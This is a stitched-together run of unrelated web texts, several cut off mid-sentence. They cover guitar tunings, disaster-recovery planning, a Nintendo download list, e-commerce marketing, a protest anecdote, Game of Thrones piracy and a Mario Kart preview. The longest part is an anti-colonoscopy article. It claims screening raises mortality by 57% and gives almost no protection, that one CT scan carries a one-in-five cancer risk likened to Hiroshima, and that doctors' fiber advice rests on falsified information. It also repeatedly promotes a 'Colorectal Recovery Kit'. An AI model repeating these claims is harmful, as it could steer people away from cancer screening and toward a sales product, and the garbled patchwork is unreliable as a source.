I dont really ever use "standard chords". I grew up playing acoustic and was really into old folk blues and people like Bert Jansch and John Martyn as well so I would play in tunings which usually add a lot to chords etc... I started playing electric when I started playing in bands and by that point was so use to hearing things in such a way that I would "dissect" chords to get that sound. I guess the closest thing I can relate this to for you is the difference between an A chord and an A7th. I will always head for the more open |
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With hurricane Sandy dropping into the East Coast of the US this week this is a perfect time to think about DR plans. DR planning isn’t something that people should take personally when it is brought up. There are some IT professionals who consider DR planning to be a personal insult to their ability to setup and configure systems, and there are some developers who consider DR planning to be an insult to their programming abilities.
This tweets which Karen Lopez (blog | @datachick) shared shows the exact problem which she has run into when working with one (or more) of her clients.
Setting up DR (or backups in this case) has nothing to do with insulting the IT staff, or that the programmers don’t know what they are doing. As IT workers our job is to hope for the best, but plan for the worst. In the case of this week the east coast of the US is being hit with about the worst case that they can get, a full blown hurricane going all the way up the coast.
I don’t care how good you are at racking servers, installing Windows, writing software, etc. if the power at your data center goes out for a week, and they can’t get fuel to the data center for a week (depending on the number of trees which are down between the highway and the data center, this is a real possibility) the systems will be down and you won’t have planned correctly for the worst.
If you think about this from home perspective instead of the work perspective, when a disaster strikes you don’t want to have to rush to the store to try to find bread and other food items to keep yourself and your family fed during the emergency. If you live somewhere that has regular natural disasters (which is pretty much everywhere at this point) you hopefully have canned food, bottled water, flashlights, etc. at home so that you can ride out this sort of disaster for a few days at the least without running out of food and water. Why shouldn’t you plan accordingly at the office as well.
This sort of planning isn’t something that can be done last minute, because you can’t always see the disaster coming so you don’t always have time to plan (or shop) right before (or as) the disaster happens.
With some forethought and proper planning any business can ride out any disaster. But it requires planning ahead of time and the dedication of the company and the employees to properly setup and test the DR solution. DR projects can be big scary projects if you don’t have someone on staff who has experience with these sorts of things. But that’s OK, that’s what we have consultants for who specialize in these sorts of projects. Not every company needs to keep staff on hand that can plan out DR plans, but you should bring someone in who knows how to plan and execute these sorts of projects successfully. While the consultant may cost a few dollars an hour, it’ll be much less than a failed DR project, and a whole lot less than a failed DR failover.
Denny
(Thanks to Karen for letting me use her Tweets in this post, and for Thomas LaRock (blog | @sqlrockstar) for letting me steal the picture of his kids.)This week’s North American Nintendo Downloads are as follows:
Wii U Retail
Mario & Sonic at the Rio 2016 Olympic Games – $59.99 (available Friday)
Mighty No. 9 – $19.99
Tokyo Mirage Sessions #FE – $59.99 (available Friday)
Wii U Download
Blackjack 21 – $1.99
Educational Pack of Kids Games – $3.99
Rubik’s Cube – $4.99
Splashy Duck – $1.49
Star Sky 2 – $4.00
Wii U Virtual Console
Pokémon Mystery Dungeon: Explorers of Sky – $9.99
Pokémon Mystery Dungeon: Blue Rescue Team – $9.99
Pokémon Mystery Dungeon: Red Rescue Team – $6.99
3DS Download
Rubik’s Cube – $4.99
Unholy Heights – $6.00
New 3DS Virtual Console
Super Ghouls’n Ghosts – $7.99
3DS Themes
Rhythm Heaven Megamix Costumed Tebiri
Rhythm Heaven Megamix Ringside
eShop Sales
Wii U / 3DS
– 99Moves (Wii U), Darts Up 3D (Nintendo 3DS) and more from EnjoyUp Games are on sale until 8:59 a.m. PT on July 21.
– Sweetest Thing (Wii U), Jewel Match 3 (Nintendo 3DS) and more games from Joindots are on sale until 8:59 a.m. PT on June 30.
– Turtle Tale (Nintendo 3DS and Wii U) is on sale until 8:59 a.m. PT on June 30.
– Another World – 20th Anniversary Edition (Nintendo 3DS and Wii U) is on sale until 8:59 a.m. PT on July 7.
– Citizens of Earth (Wii U), The Legend of Legacy (Nintendo 3DS) and more games from ATLUS are on sale until 8:59 a.m. PT on July 4.
Wii U
– Vector Assault is 20 percent off (reduced from $4.99 to $3.99) until 8:59 a.m. PT on June 30.
– Infinity Runner is more than 40 percent off (reduced from $6.99 to $3.99) until 8:59 a.m. PT on July 7.
– Star Sky is 50 percent off (reduced from $4 to $2) until 8:59 a.m. PT on July 7.
– Steel Rivals is more than 25 percent off (reduced from $6.99 to $4.99) until 8:59 a.m. PT on June 30.
– Super Destronaut is 50 percent off (reduced from $1.99 to 99 cents) until 8:59 a.m. PT on July 14.
3DS
– Parking Star 3D, Quell Reflect and more from CIRCLE Entertainment are on sale until 8:59 a.m. PT on July 14.
– Attack on Titan: Humanity in Chains is 50 percent off (reduced from $29.99 to $14.99) until 8:59 a.m. PT on July 4.
– Snow Moto Racing 3D is 50 percent off (reduced from $7.99 to $3.99) until 8:59 a.m. PT on June 30.
Activities
Miiverse – Nintendo 3DS Summer Vacation Sweepstakes – Summer is a season of excitement, fun and outdoor exploration. Share how Nintendo 3DS/2DS systems and games will add some extra fun to your summer vacation for a chance to win a Nintendo 2DS system and six great digital Nintendo 3DS games! Click here for more details.
NO PURCHASE NECESSARY. Void where prohibited. Open to legal residents of the US (incl. DC), 13 years or older. Promotion begins 10:00 AM PT on 6/20/16 and ends 10:00 PM PT on 7/11/16. To enter, post your Nintendo 3DS/2DS vacation idea in Miiverse or mail postcard as stated in Official Rules. Ten Grand Prize winners will each receive one (1) Nintendo 2DS system and one (1) download code for six Nintendo 3DS digital games (ARV US $229.93). Six First Prize winners will each receive one (1) download code for six Nintendo 3DS digital games (ARV US $149.94). For Official Rules, visit here.
Source: Nintendo PR
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PocketYou can’t just put in 10 minutes of work and expect customers to come pouring in.
But what if you can?
It would be a no-brainer, and I’ll tell you why it’s doable.
Yes, conversion funnels are complex.
There are lots of parts that need to be moved to create a system that consistently turns visitors into leads and leads into customers.
The opportunity lies in these small pieces.
I’m talking about landing pages, product pages, form fields, design, copy, checkout pages, etc.
If you make some small tweaks to optimize these individual elements, guess what happens?
They will come together to create a leaner and more efficient conversion funnel.
That’s why I’m confident you can increase your e-commerce conversion rate with a few best practices.
In this article, I’ll share 10 of my favorite with you.
You don’t have to work through all at once. But if you take a few minutes each day to put these steps into action, the results will astound you.
Sound good? Let’s get started.Remember those Islamic protesters at the Global Atheist Convention? I neglected to mention this excellent response to their gibberish, courtesy of Gregory Storer:
My partner Michael and I took advantage of the moment to kiss in front of the group. We understand that in some Islamic States gay people are persecuted and executed for their sexuality. It was an ideal opportunity to challenge the notion of acceptance and tolerance. As we began kissing, the muslims began chanting, burn in hell.
In fact, kiss-ins are really popular ways to draw attention away from homophobes. Plus, it just pisses them off. Win-win!
It’s happened with the Pope…
… and in front of campus preachers…
… and just for the sake of solidarity with the LGBT community:
They should just have these kiss-ins at every Mitt Romney campaign event…Side effects of screening colonoscopies
According to 'The Annals Of Internal Medicine,' the rate of serious complications from colonoscopy screening is “10 times higher than for any other commonly used cancer-screening test.” This number doesn't include deferred complications, such as internal bleeding, severe anemia, heart attack, stroke, pulmonary embolism, pneumonia, kidney failure, intestinal obstruction, and others.
These complications explain why, according to the Telemark Polyp Study I, colonoscopy screening increases relative mortality by 57%. Thus, if you are seriously considering to undergo screening, your odds of being killed or injured by the side effects of colonoscopy may actually exceed your odds of getting colorectal cancer in the first place [1].
Adding insult to injury, all that prep, fear, risk, expense, embarrassment, and stress are for naught anyway — screening colonoscopy offers near zero protection from colon cancer, as I explain in my Death By Colonoscopy report.
What gives? Well, a conventional colonoscopy isn't simply a routine doctor's visit, but an ambulatory surgical procedure performed under general anesthesia. According to the same Annals of Internal Medicine, serious complications occur in 0.5% of all cases [link].
Unreported medical errors and deferred side effects, such as severe anemia caused by blood loss, pulmonary embolism, heart attack, or stroke related to blood clots caused by general anesthesia, pneumonia, persistent post-operative infection, or kidney failure and acute diverticulitis caused by colon prep, may easily add up to another percent or two.
If, for argument sake, the combined number of complications, side effects, and medical errors tally up to just 1%, it means that 140,000 people are injured annually by 14 million estimated screenings alone. This rate of “collateral damage” is just as high as the incidence of colorectal cancer itself, and, perhaps, is just as deadly, especially for seniors — a primary target group for “preventative” colonoscopies.
Even if you take at face value the claim that screening colonoscopies have reduced colorectal cancer mortality by 5% or about 2,500 lives annually, it means 56 people have been needlessly harmed to save just one life (140,000 / 2,500).
Then, consider the 1 in 5 chance of getting any other cancer following a single virtual colonoscopy. Radiation exposure from just one abdominal CT scan (at 5 to 10 mSv) is two to three thousands times more potent than a single dental x-ray, and 2 to 3 times higher than the estimated exposure to a “dirty” nuclear bomb estimated at just 3 mSv [link].
As scary as the “dirty bombs” are, an explosion in the center of Fairfax County, VA, a populous suburb of Washington, DC, would affect only 19,500 people [link]. That is 50 to 100 times less people than are being nuked annually in the radiology centers across the nation while administering unneeded and cancer-causing abdominal CT scans.
Since preventive colonoscopies became an outright fad after Ms. Couric‘s televised colonoscopy in March of 2000 [2], close to 30,000 more people annually have been affected by colon cancer.
Without a doubt, unnecessary screening colonoscopies — conventional and virtual alike, and almost all related to the Katie Couric Effect, — contribute to these new cancers by causing the following common side effects:
Intestinal flora disruption. Each successive colonoscopy damages natural intestinal microflora, because this procedure requires a thorough lavage — a washing out of the large intestine with large doses of synthetic laxatives, followed by bowel irrigation with polyethylene glycol and hypertonic electrolytes. Polyethylene glycol is a habit-forming osmotic laxative found in MiraLax, Colyte, and GoLYTELY. Hypertonic electrolyte is a solution of sodium biphosphate and sodium phosphate found in Fleet Enemas. Both substances kill bacteria on contact just as reliably as a salt gargle kills bacteria in your mouth. The damage of intestinal bacteria — a condition called dysbacteriosis (dysbiosis) — is a key factor behind irregularity, constipation, irritable bowel syndrome, diverticular disease, and inflammatory bowel diseases, such as ulcerative colitis and Crohn's disease, known, in turn, to raise the risk of colon cancer up to 32 times. That‘s 3,200%, if you prefer it that way! All of the above conditions cause fiber dependence to relieve them. Also, dysbacteriosis contributes to colon cancer, because these synergistic bacteria protect intestinal mucosa from numerous types of cancer-causing pathogens. (More on this here.)
Disruption of stools. If you are already affected by hemorrhoids, chronic constipation, irritable bowel syndrome, or diverticulosis, then bowel prep, intubation, and lavage may flare up and worsen these conditions considerably by disrupting an established defecation pattern — a situation very similar to the outcome of severe diarrhea.
Post-interventional complications. Serious complications, such as colon perforation, occur in 5 out of every one thousand colonoscopies [3]. The risks of delayed bleeding, infection, and ulceration are even higher, but they rarely get reported in connection with colonoscopy. “Colonoscopy with biopsy or polypectomy [polyp removal —KM] is associated with increased risk for complications. Perforation may also occur during colonoscopies without biopsies.” Ann Intern Med. 2006 Dec 19;145(12):880-6;
Increased risk of deferred strokes, heart attacks, and pulmonary embolisms. You must also consider the risk of blood clotting, which is a common side effect of anesthesia, particularly among patients with diabetes or heart disease. These blood clots may cause a deadly pulmonary embolism, stroke or heart attack weeks after the colonoscopy;
Infections. There is an omnipresent risk of an infectious disease, such as pneumonia or pyelonephritis, associated with any medical procedure performed under anesthesia.
Missed tumors create a false sense of security. According to multiple studies, even thorough doctors miss from 15 to 27 percent of polyps, including 6 percent of large tumors. According to the research published in The New England Journal of Medicine [link], some doctors rush through colon exam so fast, that they may miss even cancer in full bloom. One such doctor can process 20 to 30 patients a day [4] with assembly line efficiency. Some are known to perform as many as 60 colonoscopies in a single day because the average payment ranges from $1,500 to $2,000 per patient regardless of time spent.
Triple jeopardy. (1) According to the American College of Gastroenterology[6], virtual colonoscopies miss 27 percent of colorectal lesions, including pre-cancerous colon polyps and actual cancerous tumors. (2) To add insult to injury, even if the radiologist finds a polyp or two, you‘ll need to undergo a regular colonoscopy anyway to remove them. The incidents of false positive readings are also common, according to the same FDA document. (3) As I already pointed out earlier to the FDA's analysis, the additional cancer risk associated with just one CT scan to detect colon cancer is 1 chance out of 5, or 20% [5]. These odd are 4 to 8 times higher than your “natural” risk of colorectal cancer at 2.5% to 5%.
Common side effects of colonoscopy
The side effects of colonoscopy are similar to problems associated with any surgical procedure and are caused by the confluence of like factors: bowel prep, mechanical and surgical traumas by instruments, anesthesia, hypothermia, stress, opportunistic infections, fluctuations of blood sugar, excessive fluid consumption, sudden diet modification, and so on. Each stage introduces its own set of complications:
Before the procedure: Osmotic laxatives and lavages cause inevitable dehydration and an imbalance of electrolytes — a particularly serious issue for people with heart and kidney disease.
During the procedure: mechanical impact of intubation on the anus, rectum, and mucous membrane, possible abrasions by the endoscope; tissue injuries from polypectomy (polyp removal) and biopsies; hypothermia (low body temperature) related to anesthesia — the common cause of bacterial infections (similar to catching colds, flu, pneumonia, or pyelonephritis (kidney infection) after an extended exposure to cold).
Immediately after: A slowing or shutdown of gastric and intestinal peristalsis from anesthesia may cause severe dyspepsia, food poisoning, intoxication from the rotting of undigested protein, gastritis, duodenitis, pancreatitis, cholecystitis, enteritis, and obstruction anywhere along the entire digestive tract. These conditions are often exacerbated by a quick resumption of the usual diet (i.e. solid food).
A few days following colonoscopy, side effects are commonly exacerbated by following routine advice to increase fiber intake. These complications may differ in nature depending on the degree of dysbacteriosis.
Patients with severe dysbacteriosis may not experience much if any bacterial fermentation of fiber and associated gases and bloating but may be affected by large stools, straining, constipation, hemorrhoids and obstruction. Those who retained some bacteria following the test may experience fermentation-related bloating, cramps and flatulence.
Post-traumatic stress syndrome (PTSS) is commonly associated with any invasive procedure in general and cancer screening in particular. It is especially bothersome among persons in a high-risk group or susceptible to anxieties and depression. PTSS commonly interferes with digestion because an elevated level of stress hormones and muscular tensions inhibit the secretion of digestive fluids and peristalsis.
Here is a specific list of the most likely side effects you may experience after the colonoscopy in (more or less) chronological order:
Severe dehydration Osmotic laxatives used for bowel prep cause a significant loss of body fluids. A rehydration isn‘t simply a matter of drinking more water — it takes time because the body can only absorb a limited amount of water at any given time. Resuming solid food soon after a colonoscopy may intensify dehydration because solid food, particularly protein, requires several liters of saliva and digestive juices. YOUR ACTION: Hydrate yourself properly before the procedure. The best form of hydration is freshly-squeezed cucumber juice (with skin on) — a sugar-free source of potassium, about 600 mg per cup; mineral water with a high-mineral content; and several salty snacks because sodium chloride is essential to retain water. Start rehydration several days in advance — it isn't a matter of just drinking several glasses of water before the procedure.
Intoxication and food poisoning These two related conditions may result from a rapid resumption of solid food particularly containing protein. The preceding liquid diet and residual effect of anesthesia cause the reduction of gastric digestion (i.e. an inadequate level of hydrochloric acid and proteolytic enzymes). Inadequate acidity may fail to properly sterilize incoming food from bacterial and viral pathogens. The unchecked presence of pathogens may cause a condition commonly referred to as “stomach flu”: — nausea, vomiting, diarrhea, abdominal cramps and other symptoms typical to infectious disorders of the GI tract. The enzymatic deficiency (combined with low acidity) results in putrefaction (rotting) of undigested proteins inside the stomach and intestines. This process produces cadaverine — a foul-smelling substance produced by protein hydrolysis. A gradual absorption of this substance into the blood may cause symptoms similar to food poisoning. YOUR ACTION: Resume solid food gradually. Refrain from proteins for at least 3 days after the colonoscopy. Chew well and thoroughly to improve digestion. Do not drink fluids after meals, only 30 to 60 minutes before, so fluids have a chance to get down into the small intestine where they assimilate. Do not mix proteins with carbohydrates and fiber to ease the digestive load. Do not overeat. Do not consume more than one protein-containing meal a day. Use proteolytic enzyme supplements to assist in the digestion of protein. Make sure to consume the recommended 4-6 grams of salt daily to facilitate the proper synthesis of hydrochloric acid (salt is a source of chloride (Cl). Do not take acid reducers because they inhibit the digestion of protein and release of proteolytic enzymes. Do not take dietary fiber because it extends digestion and causes obstructions. Use the Colorectal Support Kit instead to normalize defecation without fiber.
Esophageal, gastric, duodenal, and intestinal obstructions Foods are propelled through the digestive tract via peristalsis — a coordinated action of smooth muscles that make up the circumference of the esophagus, stomach, and intestines. Anesthetics, even mild ones, switch off peristalsis for a good chunk of the time particularly in combination with common drugs for hypertension, heart disease, anxiety, depression, convulsions, pain relief (opiates), and some others. If you follow your doctor‘s advice, and take fiber-rich food or fiber laxatives soon after the colonoscopy, there is a good chance of clogging up the GI tract with this rapidly expanding fiber. The obstruction may cause a broad number of digestive complications and problems and may require emergency surgery. Nausea and vomiting, particularly with bile, is one of the most prominent symptoms of intestinal obstruction. YOUR ACTION: Avoid fiber supplements and food rich in fiber. Use Colorectal Recovery Kit instead to normalize defecation without fiber.
Colorectal bleeding This is a serious concern for people taking blood thinners and/or aspirin. The removal of polyps leaves a wound. It may not properly heal for several reasons: vitamin K deficiency related to prior dysbacteriosis and low-fat diets, ongoing therapy with blood thinners and/or aspirin, collagen synthesis defects related to a low level of vitamin C and protein deficiency, an infection from pathogenic bacteria, elevated acidity and/or a high-level of alcohols from fermenting fiber, mechanical impaction from expanded fiber, irritation and inflammation caused by laxatives and, finally, colon stretching from gases and/or straining. YOUR ACTION: Use Colorectal Recovery Kit before and after colonoscopy to facilitate healing, reduce inflammation, restore intestinal flora and enable normal and timely defecation.
Diarrhea
An outcome of dysbacteriosis and inflammatory conditions inside the colon, both caused by bowel prep and dietary fiber, particularly soluble fiber found in psyllium laxatives (Metamucil). The lack of intestinal bacteria compromises stool formation. Inflammation blocks fluids from absorption and causes an additional oozing of mucus into the lumen (colon cavity). Both conditions result in diarrhea (liquid stools). Excessive use of soluble fiber in food and laxatives blocks the absorption of digestive fluids and further exacerbates diarrhea. YOUR ACTION: Use Colorectal Recovery Kit immediately following a colonoscopy to restore intestinal flora and eliminate inflammatory bowel disease. Avoid fiber laxatives and food that is rich in fiber. Exclude bananas, prunes and prune and beet juice. These common remedies for constipation contain sorbitol — a sugar alcohol and potent laxative. Sorbitol is a primary substance behind diabetic nerve and blood vessel damage, the factors behind diabetic neuropathies (nerve damage), retinopathy (blindness), erectile dysfunction, kidney failure, heart disease and amputation of lower limbs. (87,000 a year in the United States alone).
Small, hard stools This condition is common after colonoscopy, particularly among patients who refuse to take fiber and results from dysbacteriosis caused by bowel prep. Live and dead intestinal bacteria retain fluid (moisture) in formed feces. Even a 10% to 15% reduction of fluids (75% to 80% is a norm) in stools causes small, hard, lumpy stools. This is, incidentally, why insoluble fiber is recommended in the first place: cellulose (an indigestible component of fiber) expands with water and bulks up stools. Alas, cellulose isn‘t as efficient at holding water as bacteria because it dries out faster and results in anal abrasions. It gets fermented by the remaining bacteria which results in gases and bloating and requires a good dosing of insoluble fiber to keep the moisture locked inside - this results in diarrhea and more fermentation. On top of this, enlarged (bulked up) stools require straining which causes hemorrhoids, abrasions, fissures, prolapses and nerve damage. YOUR ACTION: Use Colorectal Recovery Kit instead of fiber immediately following colonoscopy to restore normal stool morphology.
Flatulence, bloating, abdominal cramps. Intestinal bacteria reside in the mucous membrane and inside the appendix. Many bacteria will die after the bowel prep but some may survive, particularly inside the appendix. When, following a doctor‘s advice, fiber is added to the diet, these bacteria spring into action and ferment the fiber — a process no different from beer, dough, or wine making. Gases, produced by fermentation, cause flatulence, bloating and cramps. Women are particularly sensitive to gas-related bloating because the genitourinary organs reside in the same tightly packed abdominal cavity. The uterus and fallopian tubes are particularly sensitive to pressure before and during periods, hence the typical after-effects of premenstrual syndrome (PMS). The alcohols and acidity related to fermentation may cause mucosal inflammation which further inhibits the absorption of gases, and increases bloating, flatulence and pain. YOUR ACTION: Do not use fiber and fiber laxatives following colonoscopy. Your doctor‘s advice to use fiber is wrong because it is based on outdated and falsified information. Use Colorectal Recovery Kit instead to restore proper stool morphology without fiber and laxatives.
Hemorrhoids Internal and external hemorrhoids are caused by large stools (from fiber) and the ensuing straining to expel them, or by intense, often involuntary contractions of anal and pelvic muscles in response to diarrhea, caused by dysbacteriosis and soluble fiber. YOUR ACTION: Use Colorectal Recovery Kit instead of fiber immediately following colonoscopy to restore normal stool morphology (i.e. reduce stool size, maintain moisture, eliminate straining.)
Anal fissures Same reasons as above. The mechanical pressure of large stools on the narrow, anal canal passage-way causes skin tears. Daily effort to move the bowels and straining doesn‘t allow the wounds to heal and the tear becomes larger and larger. Medication, infection (by passing stools) and malnutrition further interfere with healing. YOUR ACTION: Use Colorectal Recovery Kit to facilitate the healing process and maintain soft, semi-liquid stools until complete healing. Thereafter, to maintain proper stool morphology so you don‘t have to strain.
Chronic constipation All of the above reasons. As fiber makes stools larger and larger, the anal- canal gets smaller and smaller from internal hemorrhoids. The ensuing pain and discomfort from large stools passing through the narrow anal-canal lead to incomplete emptying and stools remaining in the large intestine get larger, denser, and drier. A vicious cycle of dependence on laxatives to move the bowels ensues. YOUR ACTION: Use Colorectal Recovery Kit to restore and maintain proper stool morphology.
Irritable bowel syndrome An alternating pattern of constipation and diarrhea along with abdominal pain, cramps, and discomfort caused by bloating and flatulence. It doesn‘t take a genius to recognize the cause — they are all enumerated above. If you already have a history of irritable bowel syndrome, a colonoscopy and more fiber will only make this situation worse. YOUR ACTION: Use Colorectal Recovery Kit and follow my recommendation in Fiber Menace. I‘ve been IBS-free since I started doing the same and so are thousands of my readers. This is the safest and least expensive approach to become and stay IBS-free for the rest of your life. You aren‘t likely to hear about it from the mainstream medical sector any time soon because it will deprive countless endoscopists, gastroenterologists, hospitals, clinical labs, radiology centers, and drug companies from one of their top money makers, according to the National Institutes of Health: “As many as 20 percent of the adult population, or one in five Americans, have symptoms of IBS, making it one of the most common disorders diagnosed by doctors. It occurs more often in women than in men and it begins before the age of 35 in about 50 percent of people.” [7]
Colon obstruction Excessive accumulation of unfermented fiber inside the colon on one hand and an incomplete emptying of stools on the other, may eventually cause fecal impaction and colon obstruction. It‘s usually manifested by paradoxical diarrhea — a condition when fluids incoming from the small intestine flow around impacted stool and create a diarrhea-like condition. If you aren‘t overweight (fat interferes with manual examination), an obstruction is easily determined during physical examination. Otherwise, an x-ray with contrast solution may be required. Insist on an abdominal x-ray instead of a CT-scan to reduce your radiation exposure. YOUR ACTION: DO NOT use Colorectal Recovery Kit or any other medication/laxatives, particularly fiber, to manage this condition. This is a real medical emergency which requires an immediate visit to an emergency room for examination and if necessary, manual disimpaction (a procedure performed by a surgeon or a specially-trained nurse). After proper diagnosis and disimpaction, use Colorectal Recovery Kit to prevent any repeat occurrence.
Diverticulitis (the aggravation of diverticulosis) Up to a quarter of people before 50 may already have one or more diverticula. This number grows to 50% after age 60. These diverticula result from large stools and straining caused by all of the factors listed above and namely, large stools and straining related to the excess use of dietary fiber. Since most colonoscopies start after 50, the recommendation to hit on fiber immediately thereafter is particularly damaging to people already affected by diverticulosis. When large stools and fiber get trapped inside diverticula, they are likely to cause an inflammation of unprotected mucosa which may result in bleeding and severe pain related to ulceration, necrosis, or perforation. YOUR ACTION: Do not use fiber and fiber laxatives following colonoscopy. The advice to use fiber is wrong and it is based on outdated and falsified information. Use Colorectal Recovery Kit instead to restore proper stool morphology without fiber.
Ulcerative colitis The predisposition to ulcerative colitis — an inflammation and ulceration of the colon mucosa following colonoscopy is quite high because all the preconditions are there: mucosal inflammation, lack of protective bacteria, inadequate coagulation, poor healing, diarrhea, and excess use of fiber. YOUR ACTION: It is easier to prevent than treat ulcerative colitis. Use Colorectal Recovery Kit to prevent its occurrence or relapse, particularly if you have a history of diarrhea and/or ulcerative colitis.
Crohn‘s disease Crohn‘s disease is a condition similar to ulcerative colitis except its localization may happen anywhere along the gastrointestinal tract and it has a strong auto-immune component. The reasons behind it and preventive actions are similar to ulcerative colitis.
Formation of pre-cancerous polyps and cancers I believe the genetic and ethnic aspects of colon cancer are highly exaggerated. Polyps and cancers — abnormal cellular growths — don‘t just pop-up out of the blue. It literally “takes a village” to grow one. Just like oral cavities respond to chewing tobacco hours on end with oral cancer, so does the colon respond with polyps and cancers to long-term assault of the large intestine with fiber, fermentation, large stools, straining, antibiotics and pollutants. YOUR ACTION: Use Colorectal Recovery Kit to wean yourself from fiber dependence, to restore intestinal flora, to maintain small stools and to prevent straining. Give your colon health the same attention you are giving to cutting your hair and brushing your teeth. I‘ve yet to hear about “teeth cancer” or “hair cancer,” but people are dying from colorectal cancer left and right.
I realize the following two questions may be bugging you: (1) why aren‘t the complications described in this guide discussed with patients in advance of the screening? (2) Is it because doctors don‘t know?
I believe there are three factors behind this particular health scare:
First, you aren‘t likely to encounter your endoscopist ever again. If the colonoscopy results are abnormal, you‘ll be immediately referred to the GI surgeon or oncologist. So, yes, in essence, they may not know or want to know what‘s happening afterwards.
Second, many people undergoing colonoscopy may already have some or all of the symptoms and conditions that follow a colonoscopy, such as antibiotic-induced dysbacteriosis, irritable bowel syndrome, bloating, flatulence, fiber dependency, hemorrhoids, straining and so on. So they just return to their “normal” state without connecting one and two.
Finally, colonoscopies are an extremely profitable business. A mid-volume endoscopy practice with just a single physician may gross between $4 and $6 million annually. Why ruin a good business by focusing on a few side effects with patients you‘ll never see again, especially when everyone and their uncle believes that a colonoscopy saves lives?
Regardless of these reasons — some sinister, some stupid, some inadvertent to this situation — you now have the knowledge of what‘s causing them, how to avoid them and what to do about it.
What to do when you can't just say “no...”
In certain cases, colonoscopies are unavoidable, and, perhaps, life-saving. To protect yourself from unnecessary side effects, keep the following points in mind::
Avoid abdominal computer tomography at any cost because it increases your risk of developing any cancer from radiation equal to the exposure on the outskirts of Hiroshima on August 6th of 1945.
at any cost because it increases your risk of developing any cancer from radiation equal to the exposure on the outskirts of Hiroshima on August 6th of 1945. When push comes to shove, choose lesser evil. Perform a conventional colonoscopy only if you have a good reason for getting screened for colon cancer.
. Perform a conventional colonoscopy only if you have a good reason for getting screened for colon cancer. Avoid haphazard, fast-track screenings. The difference in polyp detection from a good doctor to a bad one is up to ten times, while the cost is exactly the same [link]. So seek out a reputable specialist, who takes time to do it right. Otherwise, what‘s the point?
. The difference in polyp detection from a good doctor to a bad one is up to ten times, while the cost is exactly the same [link]. So seek out a reputable specialist, who takes time to do it right. Otherwise, what‘s the point? Weigh up your odds against the risks. If you aren‘t in a high risk group, and do nothing, there is a 95% to 97.5% (perhaps, even less) chance that you‘ll never experience colon cancer, and a 100% chance that you will not face colonoscopy-related side effects described on this site.
. If you aren‘t in a high risk group, and do nothing, there is a 95% to 97.5% (perhaps, even less) chance that you‘ll never experience colon cancer, and a 100% chance that you will not face colonoscopy-related side effects described on this site. Restore colon ecology properly after a colonoscopy. This is a particularly important point, otherwise you increase your risk of developing colon cancer even more, regardless of your initial risk. I explain how to do it on the Dysbacteriosis (Dysbiosis) page.
. This is a particularly important point, otherwise you increase your risk of developing colon cancer even more, regardless of your initial risk. I explain how to do it on the Dysbacteriosis (Dysbiosis) page. Eliminate all avoidable causes of colon cancer, particularly if you are in a high-risk group. You‘ll find all necessary recommendations on the Colon Cancer Risk Factors page.
, particularly if you are in a high-risk group. You‘ll find all necessary recommendations on the Colon Cancer Risk Factors page. Get off processed fiber and fiber laxatives. The commonplace advice to consume dietary fiber and use fiber laxatives to prevent colon cancer is flat out wrong, at least if you believe the good doctors from the Harvard School of Public Health whom I already cited here.
Finally, If you are a physician or epidemiologist, and would like to get additional information about the perils of cancer (not just colorectal) screening, I recommend reading Dr. Gilbert Welch's book entitled Should I Be Tested for Cancer? The answer to this question is quite self-evident from the subtitle: “Maybe Not and Here's Why!”
Dr. Welsh — an ultimate insider — presents a good number of compelling reasons to explain why, in his own words “...cancer screening can do more harm than good”, and supports his analysis with detailed epidemiological data.
According to Dr. |
es: 374; Scott, Dallas ’63, 174.
[17] Scott, American Deep State, 26-27.
[18] Scott, American Deep State, 27-29, 103-06.Did Rand Paul plagiarize his speech from Wikipedia? It sure seems that way, as Rachel Maddow pointed out on Monday.
In a speech given in support of Virginia gubernatorial candidate Ken Cuccinelli, Paul referenced the 90s science fiction movie Gattaca. The Kentucky senator used the plot of Gattaca--a dystopian world in which eugenics is widely practiced-- to attack pro-choice advocates. Even more bizarre than his choice of metaphor are the similarities between Paul's speech and the Wikipedia page for Gattaca.
As Maddow points out, Paul said:
"In the movie Gattaca, in the not-too-distant future, eugenics is common and DNA plays a primary role in determining your social class."
From the Wikipedia entry:
From Paul's speech:
"Due to frequent screenings, Vincent faces genetic discrimination and prejudice. The only way to achieve his dream of being an astronaut is he has to become what's called a "borrowed ladder."
From Wikipedia:In another blow to the “piracy kills sales” talking point, it appears that people are buying a lot of Game of Thrones DVDs.
Why is this significant? Well, it’s because the hit HBO series has gained a reputation as of late as the king of all pirated content on the web. And now the show has just landed at the top of another list – Amazon’s best-seller list.
According to Amazon, Game of Thrones: The Complete Second Season is the best-selling TV show of the year (so far). It beat out True Blood season 5, Dexter season 7, Breaking Bad season 5 and The Bible miniseries.
Recently, torrenting figures crowned Game of Thrones as the most-pirated show of the year (so far, of course). With an estimated 5.2 million downloads per episode during season 3, GoT tallied over 2 million more downloads per episode than the next most-pirated show, The Big Bang Theory. This isn’t the first time that GoT has been given that title – it was also the most-downloaded how of 2012. Since then, GoT piracy has shot up 25%.
But even with that uptick in downloading, there are still enough fans buying the show via Amazon to place it atop the bestseller list for TV shows.
This should come as no surprise if you’ve been following the whole GoT piracy situation and HBO’s response to it.
HBO programming head Michael Lombardo recently said that all the GoT downloading was sort of a compliment. Not only that, but he said that it didn’t negatively impact DVD sales.
“I probably shouldn’t be saying this, but it is a compliment of sorts. The demand is there. And it certainly didn’t negatively impact the DVD sales. [Piracy is] something that comes along with having a wildly successful show on a subscription network,” he said.
Don’t let Lombardo speak for HBO as whole, however. The network still has plenty of anti-torrenting moves up their sleeves.
And it’s not like HBO is making it easy for people to view their content unless they want to pony up for a cable subscription. HBO is firmly planted in its current model, which ties subscriptions to cable subscriptions. As long as that’s the case, and there’s no standalone HBO GO service offered in top piracy areas like the U.S., U.K., and Australia, people are going to continue to download it – even though it’s clear that people would pay for such a service.
And apparently, they will still buy the DVDs too. If a show is great, people are going to want to watch it – by any and all means available.Share. The next Mario Kart looks absolutely amazing, but the latest build only hints at its potential. The next Mario Kart looks absolutely amazing, but the latest build only hints at its potential.
We've got lots of Mario Kart 8 coverage for you, including how Mario Kart: Double Dash's dual racers haven't been forgotten, why Mario Kart 8 doesn't let players design tracks, its expanded item customization, and more. Click here to watch videos and off-screen clips.
Exit Theatre Mode
My last race of Mario Kart 8 came down to the wire. We sped through a remake of DK Jungle, a stage previously introduced in Mario Kart for 3DS. My opponent slipped into first place. I was down in fourth, recovering from a poorly timed accident. I knew the stakes and had to race cautiously to secure a win. After power-sliding into third, I picked up one of Mario Kart’s shiny item boxes. The next ramp transformed our karts into gliders, and we swooped past three Screaming Pillars. As the familiar item roulette wheel spun in the top left corner, only one thought crossed my mind: “If I get a red shell right now, this race is done!”
